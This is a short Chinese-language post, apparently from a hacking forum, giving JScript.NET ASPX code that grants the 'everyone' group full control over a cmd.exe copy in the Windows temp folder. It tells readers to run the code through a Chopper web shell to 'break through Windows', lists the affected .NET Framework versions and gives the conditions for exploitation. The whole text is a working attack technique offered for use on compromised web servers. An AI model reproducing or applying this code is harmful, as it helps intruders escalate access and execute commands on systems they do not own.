try { var strPath:String = "c:\\windows\\temp\\cmd.exe", strUser:String = "everyone"; var dirinfo:System.IO.DirectoryInfo = new System.IO.DirectoryInfo(strPath); var dirsecurity:System.Security.AccessControl.DirectorySecurity = dirinfo.GetAccessControl(); dirsecurity.AddAccessRule(new System.Security.AccessControl.FileSystemAccessRule(strUser, System.Security.AccessControl.FileSystemRights.FullControl, System.Security.AccessControl.AccessControlType.Allow)); dirinfo.SetAccessControl(dirsecurity); Response.Write(strPath+"\t權限添加成功!"); }catch(x){Response.Write(x.Message);}
保存爲cmd.ccc,使用菜刀自寫腳本運行便可突破windows
受影響的版本爲:
Microsoft .NET Framework 2.0
Microsoft .NET Framework 3.5
Microsoft .NET Framework 3.5.1
Microsoft .NET Framework 4
Microsoft .NET Framework 4.5
Microsoft .NET Framework 4.5.1安全
利用條件:
1.須要支持aspx而且高於Microsoft .NET Framework 1.14版本
2.安全模式除外(如今尚未能突破.net安全模式的方法)
漏洞說明:該漏洞可直接賦予文件權限(讓沒權限的文件執行).net